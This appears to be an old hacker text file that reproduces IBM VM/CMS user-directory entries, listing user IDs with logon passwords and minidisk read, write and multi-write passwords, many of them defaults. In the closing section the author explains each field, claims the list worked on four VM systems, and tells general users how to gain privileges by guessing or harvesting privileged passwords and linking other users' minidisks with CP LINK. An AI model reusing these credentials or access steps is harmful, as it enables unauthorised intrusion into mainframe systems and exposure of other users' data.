 SPECIAL 40C 3270
 SPECIAL 40D 3270
 SPECIAL 40E 3270
 SPECIAL 40F 3270
 SPECIAL 410 3270
 SPECIAL 411 3270
 SPECIAL 412 3270
 SPECIAL 413 3270
 SPECIAL 414 3270
 SPECIAL 415 3270
 SPECIAL 416 3270
 SPECIAL 417 3270
 SPECIAL 418 3270
 SPECIAL 419 3270
 SPECIAL 41A 3270
 SPECIAL 41B 3270
 SPECIAL 41C 3270
 SPECIAL 41D 3270
 SPECIAL 41E 3270
 SPECIAL 41F 3270
 SPOOL 00C 3505 A
 SPOOL 00D 3525 A
 SPOOL 00E 3203 A
 SPOOL 05D 3525 A
 SPOOL 05E 1403 A
 DEDICATE  300  400
 DEDICATE  080  080
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK VSEMAINT 191 191 RR

	
3380 SYSTEM
	
MDISK 150 3380 000 885 DOSRES MR VSEIPO  VSEIPO
	
MDISK 151 3380 000 885 SYSWK1 MR VSEIPO  VSEIPO
	
MDISK 152 3380 000 885 SYSWK2 MR VSEIPO  VSEIPO
	
3375 SYSTEM
	
MDISK 140 3375 000 959 DOSRES MR VSEIPO  VSEIPO
	
MDISK 141 3375 000 959 SYSWK1 MR VSEIPO  VSEIPO
	
MDISK 142 3375 000 959 SYSWK2 MR VSEIPO  VSEIPO
	
FB-512 SYSTEM
	
MDISK 240 FB-512 00000 558000 DOSRES MR VSEIPO VSEIPO
	
MDISK 241 FB-512 00000 558000 SYSWK1 MR VSEIPO VSEIPO
	
MDISK 242 FB-512 00000 558000 SYSWK2 MR VSEIPO VSEIPO
	
3350 SYSTEM

 MDISK 220 3350 000 555 SYSWKB MR VSE220  VSE0WO
 MDISK 222 3350 000 555 SYSWK2 MR VSE222  VSE2WO
 MDISK 223 3350 000 555 SYSWK4 MR VSE223  VSE3WO
 MDISK 224 3350 000 555 DOSRES MR VSE224  VSE4WO
 MDISK 225 3350 000 555 SYSWK1 MR VSE225  VSE5WO

	
3380 SYSTEM

 MDISK 200 3380 000 885 SYSWKA MR VSE219  VSEAWO

	


USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 46 ROUTER
 MDISK 191 3380 636 003 VMSRES MR RROUTER  WROUTER  MROUTER            03131808

	


USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON

	

	
5668899 APL2 SERVICE MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 9999 APL2-SVP
 MDISK 191 3380 731 003 VMPK01 MR RAP2SVP  WAP2SVP  MAP2SVP            03131808

	


USER APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON

	

	
5668899 APL2
	


INCLUDE EXPPROF
 ACCOUNT 9999 I5668899
 MDISK 191 3380 264 044 VMSRES MR ALL      WAPL2PP                     03131808

	


USER VMASSYS VMASSYS 16M 16M EG 64 ON ON ON ON

	

	
5767032 AS
	


INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 LINK ISPVM 192 192 RR
 LINK SQLDBA 195 195 RR
 MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS INSTALL            03131808
 MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS SYSTEM             03131808
 MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS TEST               03131808
 MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS IPCS               03131808

	


USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON

	

	
5767032 AS
	


INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 OPTION MAXCONN 20
 IUCV ALLOW
 LINK VMASSYS 191 390 RR
 LINK VMASSYS 391 391 RR
 MDISK 191 3380 567 002 VMPK01 MR RVMASMON WVMASMON MVMASMON           03131808

	


USER VMASTEST VMASTEST 2M 2M G 64 ON ON ON ON

	

	
5767032 AS
	


INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 LINK VMASSYS 391 391 RR
 LINK VMASSYS 392 392 RR
 MDISK 191 3380 713 018 VMPK01 MR RVMASTES WVMASTES MVMASTES           03131808

	


USER BATCH BATCH 2M 2M ABEG 64 ON ON ON ON

	

	
5664364 VM BATCH FACILITY
	


INCLUDE EXPPROF
 ACCOUNT 999
 IUCV ALLOW
 OPTION BMX MAXCONN 256
 MDISK 191 3380 741 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 193 3380 744 020 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 194 3380 764 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 199 3380 767 002 VMPK01 RR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 195 3380 769 002 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808

	


USER BATCH1 BATCH1 2M 4M G 64 ON ON ON ON

	

	
5664364 VM BATCH FACILITY TEST USERID
	


INCLUDE EXPPROF
 ACCOUNT 999
 MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808

	


USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON

	

	
5664364 VM BATCH FACILITY TEST USERID
	


INCLUDE EXPPROF
 ACCOUNT 999
 MDISK 191 3380 776 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808

	

	
USER CSPUSER CSPUSER 2M 4M G 64 ON ON ON ON
	

	
5668814 CSP
	

	
INCLUDE EXPPROF
	
ACCOUNT 101
	
MDISK 191 3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
	
MDISK 193 3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
	
MDISK 502 3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
	
MDISK 503 3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
	


USER CVIEW CVIEW 2M 2M G 64 ON ON ON ON

	

	
5664296 CVIEW
	


INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 OPTION BMX
 LINK MAINT 193 193 RR
 MDISK 191 3380 732 004 VMSRES MR RCVIEW   WCVIEW                      03131808

	


USER DIRMAINT DIRMAINT 1M 2M BG 64 ON ON ON ON

	

	
5748XE4 DIRMAINT
	


INCLUDE EXPPROF
 ACCOUNT 7 SYSADMIN
 OPTION REALTIME ECMODE
 MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 123 3380 000 885 VMSRES MW                                      03131808

	


USER DATAMOVE DATAMOVE 1M 1M G 64 ON ON ON ON

	

	
5748XE4 DATAMOVE MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 5 SYSADMIN
 OPTION ACCT ECMODE
 LINK DIRMAINT 191 193 RR
 LINK MAINT    193 192 RR
 MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV           03131808

	


USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON

	

	
5798DMY FILE STORAGE CONTROL MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 999
 OPTION ECMODE BMX MAXCONN 256
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFADMIN 192 198 RR
 MDISK 191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808

	


USER FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON

	

	
5798DMY FILE STORAGE TASK MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFCNTRL 191 191 RR

	


USER FSFTASK2 FSFTASK2 1M 1M G 64 ON ON ON ON

	

	
5798DMY FILE STORAGE TASK MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFCNTRL 191 191 RR

	


USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON

	

	
5798DMY FILE STORAGE ADMINISTRATOR
	


INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK MAINT 319 319 RR
 MDISK 192 3380 175 003 VMPK02 MR RFSFADMI WFSFADMI MFSFADMI           03131808

	


USER IIPS IIPS 2M 4M G 64 ON ON ON ON

	

	
5668012 IIPS
	


INCLUDE EXPPROF
 ACCOUNT 8 INSTR
 MDISK 191 3380 736 013 VMSRES MR RIIPS    WIIPS    MIIPS              03131808
 MDISK 193 3380 749 019 VMSRES MR RIIPS    WIIPS    MIIPS              03131808

	


USER ADMIN ADMIN 1664K 16M ABCDEFG 64 ON ON ON ON

	

	
5664318 VM/IPF
	


INCLUDE EXPPROF
 LINK MAINT 300 300 RR
 MDISK 191 3380 781 001 VMPK01 MR RADMIN   WADMIN   MADMIN             03131808

	


USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON

	

	
5664318 VM/IPF
	


INCLUDE EXPPROF
 OPTION ECMODE
 LINK MAINT 300 300 RR
 MDISK 191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN           03131808

	


USER CPRM CPRM 512K 1M G 64 ON ON ON ON

	

	
5664318 VM/IPF
	


INCLUDE EXPPROF
 LINK OPERATNS 193 193 RR
 MDISK 191 3380 783 001 VMPK01 MR RCPRM    WCPRM    MCPRM              03131808
 MDISK 192 3380 098 007 VMSRES MR ALL      WCPRM    MCPRM              03131808
 MDISK 291 3380 784 001 VMPK01 MR RCPRM    WCPRM    MCPRM              03131808

	


USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON

	

	
5664318 VM/IPF
	


INCLUDE EXPPROF
 LINK MAINT 300 300 RR
 MDISK 191 3380 058 001 VMSRES MR ROP1     WOP1     MOP1               03131808

	


USER VMUTIL VMUTIL 512K 2M ABDEG 64 ON ON ON ON

	

	
5664318 VM/IPF
	


INCLUDE EXPPROF
 IPL CMS
 OPTION ECMODE
 LINK MAINT 300 300 RR
 MDISK 191 3380 059 001 VMSRES MR RVMUTIL  WVMUTIL  MVMUTIL            03131808

	


USER IPFSERV IPFSERV 2M 16M G 64 ON ON ON ON

	

	
5664318 VM/IPF
	


 IPL CMS
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 123 123 MW
 LINK MAINT 190 190 RR
 LINK MAINT 191 192 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 294 294 RR
 LINK MAINT 295 295 RR
 LINK MAINT 300 300 RR
 MDISK 191 3380 060 001 VMSRES MR RIPFSERV WIPFSERV MIPFSERV           03131808

	


USER ISPVM ISPVM 1M 10M EG 64 ON ON ON ON

	

	
5664282 ISPF
	


INCLUDE EXPPROF
 ACCOUNT 104 USER04
 MDISK 191 3380 548 005 VMSRES MR RISPVM   WISPVM   MISPVM             03131808
 MDISK 192 3380 110 054 VMSRES MR RISPVM   WISPVM   MISPVM             03131808

	


USER NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON

	

	
5664175 NETVIEW
	


 ACCOUNT NETVIEW GCS
 OPTION ECMODE
 IUCV ANY P M 0
 IUCV *LOGREC
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 334 191 RR
 LINK VTAM  191 291 RR
 LINK VTAM  29A 29A RR
 LINK MAINT 595 595 RR
 MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW WNETVIEW MNETVIEW           03131808

	


USER PRODBM PRODBM 1M 4M G 64 ON ON ON ON

	

	
5664309 PROFS DATABASE MANAGER
	


INCLUDE EXPPROF
 ACCOUNT 250 PRODBM
 OPTION MAXCONN 2000
 IUCV ALLOW
 LINK SYSADMIN 399 399 RR
 MDISK 161 3380 169 011 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 191 3380 165 004 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 5FD 3380 206 013 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 5FE 3380 193 013 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 5FF 3380 180 013 PROFPK MR RDBM     WDBM     MDBM               03131808

	


USER PROMAIL PROMAIL 1M 2M G 64 ON ON ON ON

	

	
5664309 PROFS DISTRIBUTION MANAGER
	


INCLUDE EXPPROF
 ACCOUNT 250 PROMAIL
 LINK PRODBM   191 395 RR
 LINK SYSADMIN 399 399 RR
 MDISK 151 3380 092 004 PROFPK MR RMAIL    WMAIL    MMAIL              03131808
 MDISK 191 3380 084 008 PROFPK MR RMAIL    WMAIL    MMAIL              03131808

	


USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON

	

	
5664309 PROFS CALENDAR MANAGER
	


INCLUDE EXPPROF
 ACCOUNT 250 PROCAL
 LINK PRODBM   191 395 RR
 LINK SYSADMIN 398 398 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 096 004 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FB 3380 100 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FC 3380 113 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FD 3380 126 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FE 3380 139 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FF 3380 152 013 PROFPK MR RCAL     WCAL     MCAL               03131808

	


USER SYSADMIN NOLOG 1M 16M EG 64 ON ON ON ON

	

	
5664309 PROFS ADMINISTRATOR
	


INCLUDE EXPPROF
 ACCOUNT 250 SYSADMIN
 LINK PRODBM   161 161 RR
 LINK PRODBM   191 4FA RR
 LINK PRODBM   5FD 5FD RR
 LINK PRODBM   5FE 5FE RR
 LINK PRODBM   5FF 5FF RR
 MDISK 191 3380 001 011 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 298 3380 012 029 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 398 3380 041 019 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 399 3380 060 024 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 397 3380 219 002 PROFPK MR ALL      WADMIN   MADMIN             03131808

	


USER SFCM1 SFCM1 3M 5M BDG 64 ON ON ON ON

	

	
5664198 PSF
	


INCLUDE EXPPROF
 ACCOUNT 100 PSF
 OPTION ACCT
 IUCV *SPL
 LINK PDM470 191 193 RR
 LINK PDMREM1 191 194 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 193 293 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 839 020 VMSRES MR RSFCM1   WSFCM1                      03131808

	


USER PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON

	

	
5664198 PSF MAINTENANCE
	


INCLUDE EXPPROF
 ACCOUNT 1 SYSPROG
 MDISK 191 3380 814 011 VMSRES MR RPSFMAIN WPSFMAIN                    03131808
 MDISK 193 3380 825 004 VMSRES MR RPSFMAIN WPSFMAIN                    03131808
 MDISK 194 3380 829 010 VMSRES MR RPSFMAIN WPSFMAIN                    03131808

	


USER PDM470 PDM470 4M 5M BG 64 ON ON ON ON

	

	
5664198 PSF 3800 PDM
	


INCLUDE EXPPROF
 ACCOUNT 100 PSF
 OPTION ACCT
 IUCV *SPL

	
DEDICATE 470 470

 LINK SFCM1 191 193 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 809 005 VMSRES MR RPDM470  WPDM470                     03131808

	


USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON ON ON

	

	
5664198 PSF 3820 PDM
	


 ACCOUNT 100 PSF
 OPTION ACCT ECMODE
 IPL GCS PARM AUTOLOG
 IUCV *SPL
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 595 595 RR
 LINK SFCM1 191 193 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 804 005 VMSRES MR RPDMREM1 WPDMREM1                    03131808

	


USER PVM PVM 1024K 2M BG 50 ON ON ON ON

	

	
5748RC1 VM PASS-THROUGH FACILITY
	


INCLUDE EXPPROF
 OPTION ECMODE
 LINK MAINT 193 193 RR
 LINK MAINT 36E 191 MR

	


USER RSCS RSCS 1M 2M BG 64 ON ON ON ON

	

	
5748XP1 RSCS V1
	


 ACCOUNT 15 SYSTEM
 OPTION ACCT ECMODE
 IPL 191
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 19D 19D RR
 LINK MAINT 49E 49E RR
 MDISK 191 3380 105 002 VMSRES MR RRSCS    WRSCS    MRSCS              03131808

	


USER RSCSV2 RSCSV2 2M 4M BG 64 ON ON ON ON

	

	
5664188 RSCS (VERSION 2)
	


 ACCOUNT 15 SYSTEM
 OPTION ECMODE ACCT BMX VCUNOSHR
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215 T OPERATOR
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 595 595 RR
 LINK MAINT 59F 191 RR

	


USER SMART SMART 2048K 2M CEG 64 ON ON ON ON

	

	
5796PNA VM REAL TIME MONITOR SYSTEM
	


INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 319 319 RR
 MDISK 191 3380 848 026 VMPK01 MR RSMART   WSMART   MSMART             03131808

	


USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \

	

	
5748XXJ SQL/DS ADMINISTRATOR
	


 ACCOUNT 26
 OPTION MAXCONN 25
 IUCV ALLOW
 IUCV *IDENT SQLDBA GLOBAL
 IPL CMS
 CONSOLE 009 3215 T OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 001 010 SQLPK  W                                       03131808
 MDISK 193 3380 011 035 SQLPK  R  RSQL     WSQL                        03131808
 MDISK 195 3380 046 013 SQLPK  RR RSQL     WSQL     MSQL               03131808
 MDISK 200 3380 059 034 SQLPK  R  RSQL     WSQL                        03131808
 MDISK 201 3380 093 011 SQLPK  R  RSQL     WSQL                        03131808
 MDISK 202 3380 104 100 SQLPK  R  RSQL     WSQL                        03131808

	


USER SQLUSER SQLUSER 2M 2M G 64 ON ON ON ON

	

	
5748XXJ SQL/DS USER MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 27
 OPTION REALTIMER
 IUCV SQLDBA
 LINK SQLDBA 195 195 RR
 MDISK 191 3380 204 003 SQLPK  W                                       03131808

	


USER VMARCH VMARCH 2M 4M BEG 64 ON ON ON ON

	

	
5664291 VMBACKUP
	


INCLUDE EXPPROF
 ACCOUNT 999
 OPTION ACCT ECMODE
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 001 011 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 193 3380 012 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 100 3380 019 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 101 3380 026 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 200 3380 033 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808

	


USER VMBACKUP VMBACKUP 2M 16M BEG 64 ON ON ON ON

	

	
5664291 VMBACKUP
	


 ACCOUNT 999
 OPTION ACCT BMX ECMODE
 IPL CMS
 CONSOLE 009 3215
 SPOOL 001 2540 READER *
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH
 SPOOL 0D0 2540 PUNCH
 SPOOL 0D1 2540 PUNCH
 SPOOL 00E 1403
 SPOOL 0E0 1403
 SPOOL 0E1 1403
 SPOOL 0E2 1403
 SPOOL 0E3 1403
 SPOOL 0E4 1403
 SPOOL 0E5 1403
 SPOOL 0E6 1403
 SPOOL 0E7 1403
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 040 006 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 192 3380 046 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 193 3380 049 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 194 3380 052 044 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808

	


USER VMBSYSAD VMBSYSAD 1M 4M BG 64 ON ON ON ON

	

	
5664291 VMBACKUP
	


INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 191 124 RR
 LINK VMBACKUP 194 294 RR RVMBACKU
 LINK VMBACKUP 193 293 RR RVMBACKU
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA           03131808
 MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA           03131808

	


USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON

	

	
5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
	


INCLUDE EXPPROF
 ACCOUNT DEMO1 DEMO1
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 107 003 VMSRES MR RDEMO1   WDEMO1   MDEMO1             03131808

	


USER DEMO2 DEMO2 4M 4M G 64 ON ON ON ON

	

	
5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
	


INCLUDE EXPPROF
 ACCOUNT DEMO2 DEMO2
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 859 003 VMSRES MR RDEMO2   WDEMO2   MDEMO2             03131808

	


USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON

	

	
5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
	


INCLUDE EXPPROF
 ACCOUNT DEMO3 DEMO3
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 862 003 VMSRES MR RDEMO3   WDEMO3   MDEMO3             03131808

	


USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON

	

	
5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
	


INCLUDE EXPPROF
 ACCOUNT DEMO4 DEMO4
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 865 003 VMSRES MR RDEMO4   WDEMO4   MDEMO4             03131808

	


USER VMTAPE VMTAPE 1M 2M BCEG 64 ON ON ON ON

	

	
5664292 VMTAPE
	


INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX ECMODE ACCT
 MDISK 191 3380 110 005 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
 MDISK 200 3380 115 007 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
 MDISK 300 3380 122 007 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808

	


USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON

	

	
5664292 VMTAPE
	


INCLUDE EXPPROF
 ACCOUNT 999
 LINK VMTAPE 191 193 MR
 LINK VMTAPE 200 200 MW
 LINK VMTAPE 300 300 MW
 MDISK 191 3380 129 005 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR           03131808
 MDISK 192 3380 134 007 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR           03131808

	


USER VMMAP VMMAP 2M 4M G 64 ON ON ON ON

	

	
5664191 VMMAP
	


INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 193 193 RR
 MDISK 191 3380 639 024 VMSRES MR RVMMAP   WVMMAP   MVMMAP             03131808

	


USER VTAM VTAM 5M 16M G 64 ON ON ON ON

	

	
5664280 VTAM
	


 ACCOUNT VTAM GCS
 OPTION ECMODE DIAG98 MAXCONN 400
 IUCV *CCS P M 10
 IUCV ANY P M 0
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 298 191 RR
 LINK MAINT 29A 29A RR
 LINK MAINT 595 595 RR

	


USER VM3812 VM3812 3M 4M BG 64 ON ON ON ON

	

	
5798DTE VM3812 SERVICE MACHINE
	


INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 MDISK 191 3380 813 004 VMPK01 MR RVM3812  WVM3812  MVM3812            03131808
 MDISK 192 3380 817 007 VMPK01 MR RVM3812  WVM3812  MVM3812            03131808
 MDISK 193 3380 824 020 VMPK01 MR ALL      WVM3812                     03131808

	
ADD USER ID ------

USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 999 SYSTEM
 MDISK 191 3380 001 030 EDMD01 MR VSE                                  03131808
 MDISK 192 3380 873 012 VMSRES MR VSE                                  03131808
USER PENG PENG  2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 999 SYSTEM
 MDISK 191 3380 553 010 VMSRES MR PENG PENG                            03131808

	


USER MOESERV MOESERV  2M 16M G 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 996 MOE
 MDISK 191 3380 544 002 VMPK01 MR MOESERV MOESERV                      03131808

	


USER VTAMUSER CCC      2M 8M G 64 ON ON ON ON

	

	
5668814 CSP
	


 INCLUDE EXPPROF
 ACCOUNT 101
 MDISK 191 3380 134 032 VMPK01 MW VTAM1  WVTAM1   MVTAM1               03131808
USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON
 INCLUDE EXPPROF
 ACCOUNT 101
 MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1               03131808
 MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1               03131808

===============================================================================

If you need an explanation about these two tables, you should look at it like
this:

       |------User ID
       |     |-------That User ID's password
       ^     ^
USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON
                     ^  ^  ^
                     |  |  |---Its privilege grade
                     |  |--Its maximum memory storage
                     |
                     |----Its default memory storage

 INCLUDE EXPPROF  <-----What you see when you log on
 ACCOUNT 101
 MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1
        ^                          ^       ^      ^
        |                          |       |      |---Minidisk mult pass
        |                          |       |---Minidisk write pass
        |                          |---Minidisk read pass
        |--Its minidisk

 MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1

===============================================================================

Luckily, I have tested the second table in 4 VM systems and it works.  May you
be lucky too!

Of course, since all of us are general users, the first thing to know is how to
get privileges by trying a password or by accident by getting privileged users'
passwords.

While CP/CMS uses passwords to control performance, it must store some
passwords in the REXX command language (EXEC files).  It looks like this:

CP LINK VTAMUSER 191 121 RR VTAM1

If you have succeeded in linking that minidisk then:

AC 121 B
FILEL * * B

